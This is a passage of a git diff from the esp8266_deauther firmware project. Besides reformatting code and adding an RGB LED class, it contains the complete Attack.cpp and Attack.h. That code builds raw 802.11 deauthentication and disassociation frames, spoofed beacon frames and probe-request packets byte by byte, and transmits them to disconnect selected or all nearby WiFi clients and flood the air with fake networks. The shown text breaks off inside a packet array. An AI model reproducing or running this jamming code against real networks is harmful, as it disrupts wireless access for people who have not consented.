bool selected); - void print(int num); - void print(int num, bool header, bool footer); - void select(int num); - void deselect(int num); - void remove(int num); + public: + Accesspoints(); - void printAll(); - void printSelected(); - void selectAll(); - void deselectAll(); - void removeAll(); - - String getSSID(int num); - String getNameStr(int num); - String getEncStr(int num); - String getMacStr(int num); - String getVendorStr(int num); - String getSelectedStr(int num); - uint8_t getCh(int num); - uint8_t getEnc(int num); - uint8_t getID(int num); - int getRSSI(int num); - uint8_t* getMac(int num); - bool getHidden(int num); - bool getSelected(int num); + void sort(); + void sortAfterChannel(); - int find(uint8_t id); - - int count(); - int selected(); + void add(uint8_t id, bool selected); + void print(int num); + void print(int num, bool header, bool footer); + void select(int num); + void deselect(int num); + void remove(int num); - bool check(int num); - bool changed = false; - private: - SimpleList* list; - - bool internal_check(int num); - void internal_select(int num); - void internal_deselect(int num); - void internal_remove(int num); + void printAll(); + void printSelected(); + void selectAll(); + void deselectAll(); + void removeAll(); + + String getSSID(int num); + String getNameStr(int num); + String getEncStr(int num); + String getMacStr(int num); + String getVendorStr(int num); + String getSelectedStr(int num); + uint8_t getCh(int num); + uint8_t getEnc(int num); + uint8_t getID(int num); + int getRSSI(int num); + uint8_t* getMac(int num); + bool getHidden(int num); + bool getSelected(int num); + + int find(uint8_t id); + + int count(); + int selected(); + + bool check(int num); + bool changed = false; + + private: + SimpleList* list; + + bool internal_check(int num); + void internal_select(int num); + void internal_deselect(int num); + void internal_remove(int num); }; -#endif - - - +#endif // ifndef Accesspoints_h \ No newline at end of file diff --git a/esp8266_deauther/AnalogRGBLED.cpp b/esp8266_deauther/AnalogRGBLED.cpp new file mode 100644 index 0000000..cb0e745 --- /dev/null +++ b/esp8266_deauther/AnalogRGBLED.cpp @@ -0,0 +1,44 @@ +#include "AnalogRGBLED.h" + +AnalogRGBLED::AnalogRGBLED(uint8_t rPin, uint8_t gPin, uint8_t bPin, uint8_t brightness, bool anode) { + AnalogRGBLED::anode = anode; + AnalogRGBLED::rPin = rPin; + AnalogRGBLED::gPin = gPin; + AnalogRGBLED::bPin = bPin; + setBrightness(brightness); +} + +AnalogRGBLED::~AnalogRGBLED() {} + +void AnalogRGBLED::setup() { + analogWriteRange(0xff); + + if (rPin < 255) pinMode(rPin, OUTPUT); + + if (gPin < 255) pinMode(gPin, OUTPUT); + + if (bPin < 255) pinMode(bPin, OUTPUT); +} + +void AnalogRGBLED::setColor(uint8_t r, uint8_t g, uint8_t b) { + if ((r > 0) && (brightness < 100)) r = r * brightness / 100; + + if ((g > 0) && (brightness < 100)) g = g * brightness / 100; + + if ((b > 0) && (brightness < 100)) b = b * brightness / 100; + + if (anode) { + r = 255 - r; + g = 255 - g; + b = 255 - b; + } + + analogWrite(rPin, r); + analogWrite(gPin, g); + analogWrite(bPin, b); +} + +void AnalogRGBLED::setBrightness(uint8_t brightness) { + if (brightness > 100) brightness = 100; + AnalogRGBLED::brightness = brightness; +} \ No newline at end of file diff --git a/esp8266_deauther/AnalogRGBLED.h b/esp8266_deauther/AnalogRGBLED.h new file mode 100644 index 0000000..c4610ed --- /dev/null +++ b/esp8266_deauther/AnalogRGBLED.h @@ -0,0 +1,23 @@ +#ifndef AnalogRGBLED_H +#define AnalogRGBLED_H + +#include "StatusLED.h" + +class AnalogRGBLED : public StatusLED { + public: + AnalogRGBLED(uint8_t rPin, uint8_t gPin, uint8_t bPin, uint8_t brightness, bool anode); + ~AnalogRGBLED(); + + void setup(); + void setColor(uint8_t r, uint8_t g, uint8_t b); + void setBrightness(uint8_t brightness); + void setMode(uint8_t mode, bool force); + + private: + bool anode = true; + uint8_t rPin = 255; + uint8_t gPin = 255; + uint8_t bPin = 255; + uint8_t brightness = 0; +}; +#endif // ifndef AnalogRGBLED_H \ No newline at end of file diff --git a/esp8266_deauther/Attack.cpp b/esp8266_deauther/Attack.cpp index 1135793..63750cd 100644 --- a/esp8266_deauther/Attack.cpp +++ b/esp8266_deauther/Attack.cpp @@ -1,431 +1,448 @@ #include "Attack.h" Attack::Attack() { - getRandomMac(mac); + getRandomMac(mac); - if (settings.getBeaconInterval()) { - // 1s beacon interval - beaconPacket[32] = 0xe8; - beaconPacket[33] = 0x03; - } else { - // 100ms beacon interval - beaconPacket[32] = 0x64; - beaconPacket[33] = 0x00; - } + if (settings.getBeaconInterval()) { + // 1s beacon interval + beaconPacket[32] = 0xe8; + beaconPacket[33] = 0x03; + } else { + // 100ms beacon interval + beaconPacket[32] = 0x64; + beaconPacket[33] = 0x00; + } - deauth.time = currentTime; - beacon.time = currentTime; - probe.time = currentTime; + deauth.time = currentTime; + beacon.time = currentTime; + probe.time = currentTime; } void Attack::start() { - stop(); - prntln(A_START); - attackTime = currentTime; - attackStartTime = currentTime; - accesspoints.sortAfterChannel(); - stations.sortAfterChannel(); - running = true; + stop(); + prntln(A_START); + attackTime = currentTime; + attackStartTime = currentTime; + accesspoints.sortAfterChannel(); + stations.sortAfterChannel(); + running = true; } void Attack::start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout) { - Attack::beacon.active = beacon; - Attack::deauth.active = deauth || deauthAll; - Attack::deauthAll = deauthAll; - Attack::probe.active = probe; + Attack::beacon.active = beacon; + Attack::deauth.active = deauth || deauthAll; + Attack::deauthAll = deauthAll; + Attack::probe.active = probe; - Attack::output = output; - Attack::timeout = timeout; + Attack::output = output; + Attack::timeout = timeout; - //if (((beacon || probe) && ssids.count() > 0) || (deauthAll && scan.countAll() > 0) || (deauth && scan.countSelected() > 0)){ - if (beacon || probe || deauthAll || deauth) { - start(); - } else { - prntln(A_NO_MODE_ERROR); - accesspoints.sort(); - stations.sort(); - stop(); - } + // if (((beacon || probe) && ssids.count() > 0) || (deauthAll && scan.countAll() > 0) || (deauth && + // scan.countSelected() > 0)){ + if (beacon || probe || deauthAll || deauth) { + start(); + } else { + prntln(A_NO_MODE_ERROR); + accesspoints.sort(); + stations.sort(); + stop(); + } } void Attack::stop() { - if (running) { - running = false; - deauthPkts = 0; - beaconPkts = 0; - probePkts = 0; - deauth.packetCounter = 0; - beacon.packetCounter = 0; - probe.packetCounter = 0; - deauth.maxPkts = 0; - beacon.maxPkts = 0; - probe.maxPkts = 0; - packetRate = 0; - deauth.tc = 0; - beacon.tc = 0; - probe.tc = 0; - prntln(A_STOP); - } + if (running) { + running = false; + deauthPkts = 0; + beaconPkts = 0; + probePkts = 0; + deauth.packetCounter = 0; + beacon.packetCounter = 0; + probe.packetCounter = 0; + deauth.maxPkts = 0; + beacon.maxPkts = 0; + probe.maxPkts = 0; + packetRate = 0; + deauth.tc = 0; + beacon.tc = 0; + probe.tc = 0; + prntln(A_STOP); + } } bool Attack::isRunning() { - return running; + return running; } void Attack::updateCounter() { - // stop when timeout is active and time is up - if (timeout > 0 && currentTime - attackStartTime >= timeout) { - prntln(A_TIMEOUT); - stop(); - return; - } + // stop when timeout is active and time is up + if ((timeout > 0) && (currentTime - attackStartTime >= timeout)) { + prntln(A_TIMEOUT); + stop(); + return; + } - // deauth packets per second - if (deauth.active) { - if (deauthAll) deauth.maxPkts = settings.getDeauthsPerTarget() * (accesspoints.count() + stations.count()*2 - names.selected()); - else deauth.maxPkts = settings.getDeauthsPerTarget() * (accesspoints.selected() + stations.selected()*2 + names.selected() + names.stations()); - } else { - deauth.maxPkts = 0; - } + // deauth packets per second + if (deauth.active) { + if (deauthAll) deauth.maxPkts = settings.getDeauthsPerTarget() * + (accesspoints.count() + stations.count() * 2 - names.selected()); + else deauth.maxPkts = settings.getDeauthsPerTarget() * + (accesspoints.selected() + stations.selected() * 2 + names.selected() + names.stations()); + } else { + deauth.maxPkts = 0; + } - // beacon packets per second - if (beacon.active) { - beacon.maxPkts = ssids.count(); - if (!settings.getBeaconInterval()) beacon.maxPkts *= 10; - } else { - beacon.maxPkts = 0; - } + // beacon packets per second + if (beacon.active) { + beacon.maxPkts = ssids.count(); - // probe packets per second - if (probe.active) probe.maxPkts = ssids.count() * settings.getProbesPerSSID(); - else probe.maxPkts = 0; + if (!settings.getBeaconInterval()) beacon.maxPkts *= 10; + } else { + beacon.maxPkts = 0; + } - // random transmission power - if (settings.getRandomTX() && (beacon.active || probe.active)) setOutputPower(random(21)); - else setOutputPower(20.5f); + // probe packets per second + if (probe.active) probe.maxPkts = ssids.count() * settings.getProbesPerSSID(); + else probe.maxPkts = 0; - // reset counters - deauthPkts = deauth.packetCounter; - beaconPkts = beacon.packetCounter; - probePkts = probe.packetCounter; - packetRate = tmpPacketRate; - deauth.packetCounter = 0; - beacon.packetCounter = 0; - probe.packetCounter = 0; - deauth.tc = 0; - beacon.tc = 0; - probe.tc = 0; - tmpPacketRate = 0; + // random transmission power + if (settings.getRandomTX() && (beacon.active || probe.active)) setOutputPower(random(21)); + else setOutputPower(20.5f); + + // reset counters + deauthPkts = deauth.packetCounter; + beaconPkts = beacon.packetCounter; + probePkts = probe.packetCounter; + packetRate = tmpPacketRate; + deauth.packetCounter = 0; + beacon.packetCounter = 0; + probe.packetCounter = 0; + deauth.tc = 0; + beacon.tc = 0; + probe.tc = 0; + tmpPacketRate = 0; } void Attack::status() { - char s[120]; - sprintf(s, str(A_STATUS).c_str(), packetRate, deauthPkts, deauth.maxPkts, beaconPkts, beacon.maxPkts, probePkts, probe.maxPkts); - prnt(String(s)); + char s[120]; + + sprintf(s, str( + A_STATUS).c_str(), packetRate, deauthPkts, deauth.maxPkts, beaconPkts, beacon.maxPkts, probePkts, + probe.maxPkts); + prnt(String(s)); } String Attack::getStatusJSON() { - String json = String(OPEN_BRACKET); // [ - json += String(OPEN_BRACKET) + b2s(deauth.active) + String(COMMA) + String(scan.countSelected()) + String(COMMA) + String(deauthPkts) + String(COMMA) + String(deauth.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0], - json += String(OPEN_BRACKET) + b2s(beacon.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String(beaconPkts) + String(COMMA) + String(beacon.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0], - json += String(OPEN_BRACKET) + b2s(probe.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String(probePkts) + String(COMMA) + String(probe.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0], - json += String(packetRate); // 0 - json += CLOSE_BRACKET; // ] + String json = String(OPEN_BRACKET); // [ - return json; + json += String(OPEN_BRACKET) + b2s(deauth.active) + String(COMMA) + String(scan.countSelected()) + String(COMMA) + + String(deauthPkts) + String(COMMA) + String(deauth.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0], + json += String(OPEN_BRACKET) + b2s(beacon.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String( + beaconPkts) + String(COMMA) + String(beacon.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0], + json += String(OPEN_BRACKET) + b2s(probe.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String( + probePkts) + String(COMMA) + String(probe.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0], + json += String(packetRate); // 0 + json += CLOSE_BRACKET; // ] + + return json; } void Attack::update() { - if (!running || scan.isScanning()) return; + if (!running || scan.isScanning()) return; - apCount = accesspoints.count(); - stCount = stations.count(); - nCount = names.count(); - - // run/update all attacks - deauthUpdate(); - deauthAllUpdate(); - beaconUpdate(); - probeUpdate(); + apCount = accesspoints.count(); + stCount = stations.count(); + nCount = names.count(); - // each second - if (currentTime - attackTime > 1000) { - attackTime = currentTime; // update time - updateCounter(); - if (output) status(); // status update - getRandomMac(mac); // generate new random mac - } + // run/update all attacks + deauthUpdate(); + deauthAllUpdate(); + beaconUpdate(); + probeUpdate(); + + // each second + if (currentTime - attackTime > 1000) { + attackTime = currentTime; // update time + updateCounter(); + + if (output) status(); // status update + getRandomMac(mac); // generate new random mac + } } void Attack::deauthUpdate() { - if (!deauthAll && deauth.active && deauth.maxPkts > 0 && deauth.packetCounter < deauth.maxPkts) { - if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) { - // APs - if (apCount > 0 && deauth.tc < apCount) { - if (accesspoints.getSelected(deauth.tc)) { - deauth.tc += deauthAP(deauth.tc); - } else deauth.tc++; - } + if (!deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) { + if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) { + // APs + if ((apCount > 0) && (deauth.tc < apCount)) { + if (accesspoints.getSelected(deauth.tc)) { + deauth.tc += deauthAP(deauth.tc); + } else deauth.tc++; + } - // Stations - else if (stCount > 0 && deauth.tc >= apCount && deauth.tc < stCount + apCount) { - if (stations.getSelected(deauth.tc - apCount)) { - deauth.tc += deauthStation(deauth.tc - apCount); - } else deauth.tc++; - } + // Stations + else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) { + if (stations.getSelected(deauth.tc - apCount)) { + deauth.tc += deauthStation(deauth.tc - apCount); + } else deauth.tc++; + } - // Names - else if (nCount > 0 && deauth.tc >= apCount + stCount && deauth.tc < nCount + stCount + apCount) { - if (names.getSelected(deauth.tc - stCount - apCount)) { - deauth.tc += deauthName(deauth.tc - stCount - apCount); - } else deauth.tc++; - } + // Names + else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < nCount + stCount + apCount)) { + if (names.getSelected(deauth.tc - stCount - apCount)) { + deauth.tc += deauthName(deauth.tc - stCount - apCount); + } else deauth.tc++; + } - // reset counter - if (deauth.tc >= nCount + stCount + apCount) - deauth.tc = 0; + // reset counter + if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0; + } } - } } void Attack::deauthAllUpdate() { - if (deauthAll && deauth.active && deauth.maxPkts > 0 && deauth.packetCounter < deauth.maxPkts) { - if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) { - // APs - if (apCount > 0 && deauth.tc < apCount) { - tmpID = names.findID(accesspoints.getMac(deauth.tc)); - if (tmpID < 0) { - deauth.tc += deauthAP(deauth.tc); - } else if (!names.getSelected(tmpID)) { - deauth.tc += deauthAP(deauth.tc); - } else deauth.tc++; - } + if (deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) { + if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) { + // APs + if ((apCount > 0) && (deauth.tc < apCount)) { + tmpID = names.findID(accesspoints.getMac(deauth.tc)); - // Stations - else if (stCount > 0 && deauth.tc >= apCount && deauth.tc < stCount + apCount) { - tmpID = names.findID(stations.getMac(deauth.tc - apCount)); - if (tmpID < 0) { - deauth.tc += deauthStation(deauth.tc - apCount); - } else if (!names.getSelected(tmpID)) { - deauth.tc += deauthStation(deauth.tc - apCount); - } else deauth.tc++; - } + if (tmpID < 0) { + deauth.tc += deauthAP(deauth.tc); + } else if (!names.getSelected(tmpID)) { + deauth.tc += deauthAP(deauth.tc); + } else deauth.tc++; + } - // Names - else if (nCount > 0 && deauth.tc >= apCount + stCount && deauth.tc < apCount + stCount + nCount) { - if (!names.getSelected(deauth.tc - apCount - stCount)) { - deauth.tc += deauthName(deauth.tc - apCount - stCount); - } else deauth.tc++; - } + // Stations + else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) { + tmpID = names.findID(stations.getMac(deauth.tc - apCount)); - // reset counter - if (deauth.tc >= nCount + stCount + apCount) - deauth.tc = 0; + if (tmpID < 0) { + deauth.tc += deauthStation(deauth.tc - apCount); + } else if (!names.getSelected(tmpID)) { + deauth.tc += deauthStation(deauth.tc - apCount); + } else deauth.tc++; + } + + // Names + else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < apCount + stCount + nCount)) { + if (!names.getSelected(deauth.tc - apCount - stCount)) { + deauth.tc += deauthName(deauth.tc - apCount - stCount); + } else deauth.tc++; + } + + // reset counter + if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0; + } } - } } void Attack::probeUpdate() { - if (probe.active && probe.maxPkts > 0 && probe.packetCounter < probe.maxPkts) { - if (probe.time <= currentTime - (1000 / probe.maxPkts)) { - if (settings.getBeaconChannel()) setWifiChannel(probe.tc % settings.getMaxCh()); - probe.tc += sendProbe(probe.tc); - if (probe.tc >= ssids.count()) probe.tc = 0; + if (probe.active && (probe.maxPkts > 0) && (probe.packetCounter < probe.maxPkts)) { + if (probe.time <= currentTime - (1000 / probe.maxPkts)) { + if (settings.getBeaconChannel()) setWifiChannel(probe.tc % settings.getMaxCh()); + probe.tc += sendProbe(probe.tc); + + if (probe.tc >= ssids.count()) probe.tc = 0; + } } - } } -void Attack:: beaconUpdate() { - if (beacon.active && beacon.maxPkts > 0 && beacon.packetCounter < beacon.maxPkts) { - if (beacon.time <= currentTime - (1000 / beacon.maxPkts)) { - beacon.tc += sendBeacon(beacon.tc); - if (beacon.tc >= ssids.count()) beacon.tc = 0; +void Attack::beaconUpdate() { + if (beacon.active && (beacon.maxPkts > 0) && (beacon.packetCounter < beacon.maxPkts)) { + if (beacon.time <= currentTime - (1000 / beacon.maxPkts)) { + beacon.tc += sendBeacon(beacon.tc); + + if (beacon.tc >= ssids.count()) beacon.tc = 0; + } } - } } bool Attack::deauthStation(int num) { - return deauthDevice(stations.getAPMac(num), stations.getMac(num), settings.getDeauthReason(), stations.getCh(num)); + return deauthDevice(stations.getAPMac(num), stations.getMac(num), settings.getDeauthReason(), stations.getCh(num)); } bool Attack::deauthAP(int num) { - return deauthDevice(accesspoints.getMac(num), broadcast, settings.getDeauthReason(), accesspoints.getCh(num)); + return deauthDevice(accesspoints.getMac(num), broadcast, settings.getDeauthReason(), accesspoints.getCh(num)); } bool Attack::deauthName(int num) { - if (names.isStation(num)) { - return deauthDevice(names.getBssid(num), names.getMac(num), settings.getDeauthReason(), names.getCh(num)); - } else { - return deauthDevice(names.getMac(num), broadcast, settings.getDeauthReason(), names.getCh(num)); - } + if (names.isStation(num)) { + return deauthDevice(names.getBssid(num), names.getMac(num), settings.getDeauthReason(), names.getCh(num)); + } else { + return deauthDevice(names.getMac(num), broadcast, settings.getDeauthReason(), names.getCh(num)); + } } bool Attack::deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch) { - if (!stMac) return false; // exit when station mac is null + if (!stMac) return false; // exit when station mac is null - //Serial.println("Deauthing "+macToStr(apMac)+" -> "+macToStr(stMac)); // for debugging - - bool success = false; + // Serial.println("Deauthing "+macToStr(apMac)+" -> "+macToStr(stMac)); // for debugging - // build deauth packet - packetSize = sizeof(deauthPacket); - memcpy(&deauthPacket[4], stMac, 6); - memcpy(&deauthPacket[10], apMac, 6); - memcpy(&deauthPacket[16], apMac, 6); - deauthPacket[24] = reason; + bool success = false; - // send deauth frame - deauthPacket[0] = 0xc0; - if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())){ - success = true; - deauth.packetCounter++; - } - - // send disassociate frame - deauthPacket[0] = 0xa0; - if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())){ - success = true; - deauth.packetCounter++; - } - - // send another packet, this time from the station to the accesspoint - if (!macBroadcast(stMac)) { // but only if the packet isn't a broadcast // build deauth packet - memcpy(&deauthPacket[4], apMac, 6); - memcpy(&deauthPacket[10], stMac, 6); - memcpy(&deauthPacket[16], stMac, 6); - + packetSize = sizeof(deauthPacket); + memcpy(&deauthPacket[4], stMac, 6); + memcpy(&deauthPacket[10], apMac, 6); + memcpy(&deauthPacket[16], apMac, 6); + deauthPacket[24] = reason; + // send deauth frame deauthPacket[0] = 0xc0; - if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())){ - success = true; - deauth.packetCounter++; + + if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) { + success = true; + deauth.packetCounter++; } - + // send disassociate frame deauthPacket[0] = 0xa0; - if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())){ - success = true; - deauth.packetCounter++; + + if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) { + success = true; + deauth.packetCounter++; } - } - if (success) - deauth.time = currentTime; + // send another packet, this time from the station to the accesspoint + if (!macBroadcast(stMac)) { // but only if the packet isn't a broadcast + // build deauth packet + memcpy(&deauthPacket[4], apMac, 6); + memcpy(&deauthPacket[10], stMac, 6); + memcpy(&deauthPacket[16], stMac, 6); - return success; + // send deauth frame + deauthPacket[0] = 0xc0; + + if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) { + success = true; + deauth.packetCounter++; + } + + // send disassociate frame + deauthPacket[0] = 0xa0; + + if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) { + success = true; + deauth.packetCounter++; + } + } + + if (success) deauth.time = currentTime; + + return success; } bool Attack::sendBeacon(uint8_t tc) { - if (settings.getBeaconChannel()) setWifiChannel(tc % settings.getMaxCh()); - mac[5] = tc; - return sendBeacon(mac, ssids.getName(tc).c_str(), wifi_channel, ssids.getWPA2(tc)); + if (settings.getBeaconChannel()) setWifiChannel(tc % settings.getMaxCh()); + mac[5] = tc; + return sendBeacon(mac, ssids.getName(tc).c_str(), wifi_channel, ssids.getWPA2(tc)); } bool Attack::sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2) { - packetSize = sizeof(beaconPacket); + packetSize = sizeof(beaconPacket); - if (wpa2) { - beaconPacket[34] = 0x31; - } else { - beaconPacket[34] = 0x21; - packetSize -= 26; - } + if (wpa2) { + beaconPacket[34] = 0x31; + } else { + beaconPacket[34] = 0x21; + packetSize -= 26; + } - int ssidLen = strlen(ssid); - if(ssidLen > 32) ssidLen = 32; - - memcpy(&beaconPacket[10], mac, 6); - memcpy(&beaconPacket[16], mac, 6); - memcpy(&beaconPacket[38], ssid, ssidLen); - - beaconPacket[82] = ch; + int ssidLen = strlen(ssid); - if (sendPacket(beaconPacket, packetSize, ch, settings.getForcePackets())) { - beacon.time = currentTime; - beacon.packetCounter++; - return true; - } - - return false; + if (ssidLen > 32) ssidLen = 32; + + memcpy(&beaconPacket[10], mac, 6); + memcpy(&beaconPacket[16], mac, 6); + memcpy(&beaconPacket[38], ssid, ssidLen); + + beaconPacket[82] = ch; + + if (sendPacket(beaconPacket, packetSize, ch, settings.getForcePackets())) { + beacon.time = currentTime; + beacon.packetCounter++; + return true; + } + + return false; } bool Attack::sendProbe(uint8_t tc) { - if (settings.getBeaconChannel()) setWifiChannel(tc % settings.getMaxCh()); - mac[5] = tc; - return sendProbe(mac, ssids.getName(tc).c_str(), wifi_channel); + if (settings.getBeaconChannel()) setWifiChannel(tc % settings.getMaxCh()); + mac[5] = tc; + return sendProbe(mac, ssids.getName(tc).c_str(), wifi_channel); } bool Attack::sendProbe(uint8_t* mac, const char* ssid, uint8_t ch) { - packetSize = sizeof(probePacket); - int ssidLen = strlen(ssid); - if(ssidLen > 32) ssidLen = 32; - - memcpy(&probePacket[10], mac, 6); - memcpy(&probePacket[26], ssid, ssidLen); + packetSize = sizeof(probePacket); + int ssidLen = strlen(ssid); - if (sendPacket(probePacket, packetSize, ch, settings.getForcePackets())) { - probe.time = currentTime; - probe.packetCounter++; - return true; - } - - return false; + if (ssidLen > 32) ssidLen = 32; + + memcpy(&probePacket[10], mac, 6); + memcpy(&probePacket[26], ssid, ssidLen); + + if (sendPacket(probePacket, packetSize, ch, settings.getForcePackets())) { + probe.time = currentTime; + probe.packetCounter++; + return true; + } + + return false; } bool Attack::sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, uint16_t tries) { - //Serial.println(bytesToStr(packet, packetSize)); + // Serial.println(bytesToStr(packet, packetSize)); - // set channel - setWifiChannel(ch); - - // sent out packet - bool sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0; - - // try again until it's sent out - for (int i = 0; i < tries && !sent; i++) - sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0; + // set channel + setWifiChannel(ch); - if(sent) - tmpPacketRate ++; - - return sent; + // sent out packet + bool sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0; + + // try again until it's sent out + for (int i = 0; i < tries && !sent; i++) sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0; + + if (sent) tmpPacketRate++; + + return sent; } void Attack::enableOutput() { - output = true; - prntln(A_ENABLED_OUTPUT); + output = true; + prntln(A_ENABLED_OUTPUT); } void Attack::disableOutput() { - output = false; - prntln(A_DISABLED_OUTPUT); + output = false; + prntln(A_DISABLED_OUTPUT); } uint32_t Attack::getDeauthPkts() { - return deauthPkts; + return deauthPkts; } uint32_t Attack::getBeaconPkts() { - return beaconPkts; + return beaconPkts; } uint32_t Attack::getProbePkts() { - return probePkts; + return probePkts; } uint32_t Attack::getDeauthMaxPkts() { - return deauth.maxPkts; + return deauth.maxPkts; } uint32_t Attack::getBeaconMaxPkts() { - return beacon.maxPkts; + return beacon.maxPkts; } uint32_t Attack::getProbeMaxPkts() { - return probe.maxPkts; + return probe.maxPkts; } -uint32_t Attack::getPacketRate(){ - return packetRate; -} +uint32_t Attack::getPacketRate() { + return packetRate; +} \ No newline at end of file diff --git a/esp8266_deauther/Attack.h b/esp8266_deauther/Attack.h index a13dd91..70f1445 100644 --- a/esp8266_deauther/Attack.h +++ b/esp8266_deauther/Attack.h @@ -14,13 +14,13 @@ extern "C" { #include "Scan.h" extern Settings settings; -extern SSIDs ssids; +extern SSIDs ssids; extern Accesspoints accesspoints; -extern Stations stations; +extern Stations stations; extern Scan scan; -extern uint8_t wifi_channel; -extern uint8_t broadcast[6]; +extern uint8_t wifi_channel; +extern uint8_t broadcast[6]; extern uint32_t currentTime; extern bool macBroadcast(uint8_t* mac); @@ -29,182 +29,181 @@ extern void setOutputPower(float dBm); extern String macToStr(uint8_t* mac); extern String bytesToStr(uint8_t* b, uint32_t size); extern void setWifiChannel(uint8_t ch); -extern bool writeFile(String path, String &buf); -extern int8_t free80211_send(uint8_t *buffer, uint16_t len); +extern bool writeFile(String path, String& buf); +extern int8_t free80211_send(uint8_t* buffer, uint16_t len); class Attack { - public: - Attack(); - - void start(); - void start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout); - void stop(); - void update(); + public: + Attack(); - void enableOutput(); - void disableOutput(); - void status(); - String getStatusJSON(); - - bool deauthAP(int num); - bool deauthStation(int num); - bool deauthName(int num); - bool deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch); - - bool sendBeacon(uint8_t tc); - bool sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2); - - bool sendProbe(uint8_t tc); - bool sendProbe(uint8_t* mac, const char* ssid, uint8_t ch); + void start(); + void start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout); + void stop(); + void update(); - bool sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, uint16_t tries); - - bool isRunning(); + void enableOutput(); + void disableOutput(); + void status(); + String getStatusJSON(); - uint32_t getDeauthPkts(); - uint32_t getBeaconPkts(); - uint32_t getProbePkts(); - uint32_t getDeauthMaxPkts(); - uint32_t getBeaconMaxPkts(); - uint32_t getProbeMaxPkts(); - - uint32_t getPacketRate(); - private: - void deauthUpdate(); - void deauthAllUpdate(); - void beaconUpdate(); - void probeUpdate(); + bool deauthAP(int num); + bool deauthStation(int num); + bool deauthName(int num); + bool deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch); - void updateCounter(); - - bool running = false; - bool output = true; + bool sendBeacon(uint8_t tc); + bool sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2); - struct AttackType{ - bool active = false; // if attack is activated - uint16_t packetCounter = 0; // how many packets are sent per second - uint16_t maxPkts = 0; // how many packets should be sent per second - uint8_t tc = 0; // target counter, i.e. which AP or SSID - uint32_t time = 0; // time last packet was sent - }; + bool sendProbe(uint8_t tc); + bool sendProbe(uint8_t* mac, const char* ssid, uint8_t ch); - AttackType deauth; - AttackType beacon; - AttackType probe; - bool deauthAll = false; + bool sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, uint16_t tries); - uint32_t deauthPkts = 0; - uint32_t beaconPkts = 0; - uint32_t probePkts = 0; + bool isRunning(); - uint32_t tmpPacketRate = 0; - uint32_t packetRate = 0; + uint32_t getDeauthPkts(); + uint32_t getBeaconPkts(); + uint32_t getProbePkts(); + uint32_t getDeauthMaxPkts(); + uint32_t getBeaconMaxPkts(); + uint32_t getProbeMaxPkts(); - uint8_t apCount = 0; - uint8_t stCount = 0; - uint8_t nCount = 0; - - int8_t tmpID = -1; + uint32_t getPacketRate(); - uint16_t packetSize = 0; - uint32_t attackTime = 0; // for counting how many packets per second - uint32_t attackStartTime = 0; - uint32_t timeout = 0; - - // random mac address for making the beacon packets - uint8_t mac[6] = {0xAA,0xBB,0xCC,0x00,0x11,0x22}; - - uint8_t deauthPacket[26] = { - /* 0 - 1 */ 0xC0, 0x00, //type, subtype c0: deauth (a0: disassociate) - /* 2 - 3 */ 0x00, 0x00, //duration (SDK takes care of that) - /* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,//reciever (target) - /* 10 - 15 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, //source (ap) - /* 16 - 21 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, //BSSID (ap) - /* 22 - 23 */ 0x00, 0x00, //fragment & squence number - /* 24 - 25 */ 0x01, 0x00 //reason code (1 = unspecified reason) - }; + private: + void deauthUpdate(); + void deauthAllUpdate(); + void beaconUpdate(); + void probeUpdate(); - uint8_t probePacket[68] = { - /* 0 - 1 */ 0x40, 0x00, // Type: Probe Request - /* 2 - 3 */ 0x00, 0x00, // Duration: 0 microseconds - /* 4 - 9 */ 0xff, 0xff, 0xff, 0xff, 0xff, 